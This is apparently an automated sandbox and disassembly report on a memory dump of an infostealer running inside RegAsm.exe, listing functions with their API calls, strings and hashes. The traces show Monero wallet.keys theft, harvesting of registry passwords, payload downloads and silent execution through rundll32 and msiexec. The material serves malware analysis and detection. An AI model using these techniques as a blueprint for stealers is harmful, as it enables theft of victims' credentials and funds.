Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3074848878-2509457195
Opcode ID: b0c7de0145d63b70ce53b1e8b83d9b49617bc25b5baf4ddabad6d870445ee4ad
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: b0c7de0145d63b70ce53b1e8b83d9b49617bc25b5baf4ddabad6d870445ee4ad
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 00415510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,0118AA18,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415857

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 004152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415318
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 0041532F
Part of subcall function 004152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00415364
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 00415383
Part of subcall function 004152C0: strtok.MSVCRT(00000000,?), ref: 0041539E
Part of subcall function 004152C0: lstrlenA.KERNEL32(00000000), ref: 004153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415A0C
Sleep.KERNEL32(0000EA60), ref: 00415A1B

Strings

ERROR, xrefs: 00415693
ERROR, xrefs: 00415849
ERROR, xrefs: 0041577D
ERROR, xrefs: 00415932
ERROR, xrefs: 00415636
ERROR, xrefs: 004159FE

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 8d487e1654f754ba5a0761ee3c5de5ee89a113c5c6ab67c4e72828168a8328fb
Instruction ID: 0baa471f6470c30cedeccf0ca5f41b7a1b3666a88d5ff2061c329f06e4daefd3
Opcode Fuzzy Hash: 8d487e1654f754ba5a0761ee3c5de5ee89a113c5c6ab67c4e72828168a8328fb
Instruction Fuzzy Hash: 5BE18675910104AACB04FBB1DD52EED733DAF54314F50812EB406660D1EF3CAB9ACBAA

Function 00412E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

ShellExecuteEx.SHELL32(0000003C), ref: 004131C5
ShellExecuteEx.SHELL32(0000003C), ref: 0041335D
ShellExecuteEx.SHELL32(0000003C), ref: 004134EA

Strings

.dll, xrefs: 004131E5
/passive, xrefs: 0041345B
.msi, xrefs: 00413398
C:\Windows\system32\msiexec.exe, xrefs: 004134BF
<, xrefs: 00413490
/i ", xrefs: 004133E4
C:\Windows\system32\rundll32.exe, xrefs: 00413332
"" , xrefs: 0041309A

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 7ca998b6b529aeb001394848e85b67d7579dbc99494248e03994ec2c30538700
Instruction ID: 17233f41fb1950bff335544576ea1941aa871c2d7c6c7a5a475621d351ca9112
Opcode Fuzzy Hash: 7ca998b6b529aeb001394848e85b67d7579dbc99494248e03994ec2c30538700
Instruction Fuzzy Hash: 96125F718111089ADB09FBA1DD92FEEB778AF14314F50415EF10666091EF382BDACF6A

Function 00418320 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

RegOpenKeyExA.KERNEL32(00000000,01186498,00000000,00020019,00000000,004205B6), ref: 004183A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

- , xrefs: 004185A3
%s\%s, xrefs: 0041844D
?, xrefs: 0041837A

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Openlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 2731306069-3278919252
Opcode ID: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction ID: f03ee3f6de4a678c4a24becac03c3675d5d4362b87af83515ad79f9b006405b7
Opcode Fuzzy Hash: dd6617512d8e06e62f9c4619fa979c9d7048b8557595c82cd813ea9da7bb7c9e
Instruction Fuzzy Hash: B4813E75911118ABEB24DF50CD81FEAB7B9FF08714F008299E109A6180DF756BC6CFA5

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,01190CD8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(?,00000000,00000001,00000000,?,01191C10,?,00000000,\Monero\wallet.keys,00420E17), ref: 00401465

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

.keys, xrefs: 0040136B
\Monero\wallet.keys, xrefs: 0040138D
wallet_path, xrefs: 00401330
SOFTWARE\monero-project\monero-core, xrefs: 00401335

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocHeapLocallstrlenmemset$CloseCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2296077492-218353709
Opcode ID: 39317e8262a0c6bf4b356c8e33d2227605c61f9266290840a9bd15d469870bc1
Instruction ID: 2d64d6a561879fca44fb71c04a0a84c7ebf7a9ed2d970630d286a4d87e6dc5bb
Opcode Fuzzy Hash: 39317e8262a0c6bf4b356c8e33d2227605c61f9266290840a9bd15d469870bc1
Instruction Fuzzy Hash: 955165B1D5011897CB15FB61DD91FED733CAF54304F4041ADB60A62092EE385BDACBAA

Function 004060A0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DF7,00000001,00000000,00000000,00000000), ref: 0040610F
StrCmpCA.SHLWAPI(?,011927F8), ref: 00406147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0040618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 004061B3
InternetReadFile.WININET(a+A,?,00000400,?), ref: 004061DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406249
InternetCloseHandle.WININET(a+A), ref: 00406253
InternetCloseHandle.WININET(00000000), ref: 00406260

Strings

a+A, xrefs: 004060B0, 0040617F, 00406266, 00406124, 004060B3
a+A, xrefs: 0040624F, 004061D8, 004061DB, 00406252

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: a+A$a+A
API String ID: 4287319946-2847607090
Opcode ID: 8e412136ec4a27f907b8c44360a338e6cf7b286a2ded7d5447bec277780c7ebd
Instruction ID: d3b4a7caf446de9355e244355c8e16b321895ac976a44b0a7cc1b08be2cc8b72
Opcode Fuzzy Hash: 8e412136ec4a27f907b8c44360a338e6cf7b286a2ded7d5447bec277780c7ebd
Instruction Fuzzy Hash: 735194B5940218ABDB20EF90DC45BEE77B9EB04305F1040ADB606B71C0DB786A85CF9A

Function 004170D0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 004170DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

OpenProcess.KERNEL32(001FFFFF,00000000,0041730D,004205BD), ref: 0041711C
memset.MSVCRT ref: 0041716A
??_V@YAXPAX@Z.MSVCRT(?), ref: 004172BE

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0041718C
sA, xrefs: 00417111
sA, xrefs: 004172AE, 00417179, 0041717C

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: sA$sA$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-2614523144
Opcode ID: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction ID: ffe5c4151d56689e238fca5affca6521033e0b5082b25a646ea50ffb364ad3ac
Opcode Fuzzy Hash: a73ac6e1bb2c91b578430d02177e5a2f8beb51943881740cc90b8311f986bdaf
Instruction Fuzzy Hash: 71515FB0D04218ABDB14EB91DD85BEEB774AF04304F1040AEE61576281EB786AC9CF5D

Function 004075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004072D0: memset.MSVCRT ref: 00407314
Part of subcall function 004072D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
Part of subcall function 004072D0: RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
Part of subcall function 004072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
Part of subcall function 004072D0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407452
Part of subcall function 004072D0: HeapFree.KERNEL32(00000000,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407459

lstrcatA.KERNEL32(2D692020,004217FC,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?,?,004161C4), ref: 00407606
lstrcatA.KERNEL32(2D692020,00000000,00000000), ref: 00407648
lstrcatA.KERNEL32(2D692020, : ), ref: 0040765A
lstrcatA.KERNEL32(2D692020,00000000,00000000,00000000), ref: 0040768F
lstrcatA.KERNEL32(2D692020,00421804), ref: 004076A0
lstrcatA.KERNEL32(2D692020,00000000,00000000,00000000), ref: 004076D3
lstrcatA.KERNEL32(2D692020,00421808), ref: 004076ED
task.LIBCPMTD ref: 004076FB

Strings

: , xrefs: 0040764E

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 7d0423256a728e891f6393d8e936e2c81fa5f6b6a39ee4f482e2bec68b02cab5
Instruction ID: 32096a17696354d86885d8553091bec757242b1065822f319004c721f0fd16b2
Opcode Fuzzy Hash: 7d0423256a728e891f6393d8e936e2c81fa5f6b6a39ee4f482e2bec68b02cab5
Instruction Fuzzy Hash: FE316B79E40109EFCB04FBE5DC85DEE737AFB49305B14542EE102B7290DA38A942CB66

Function 004072D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407C90), ref: 0040733A
RegEnumValueA.ADVAPI32(00407C90,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
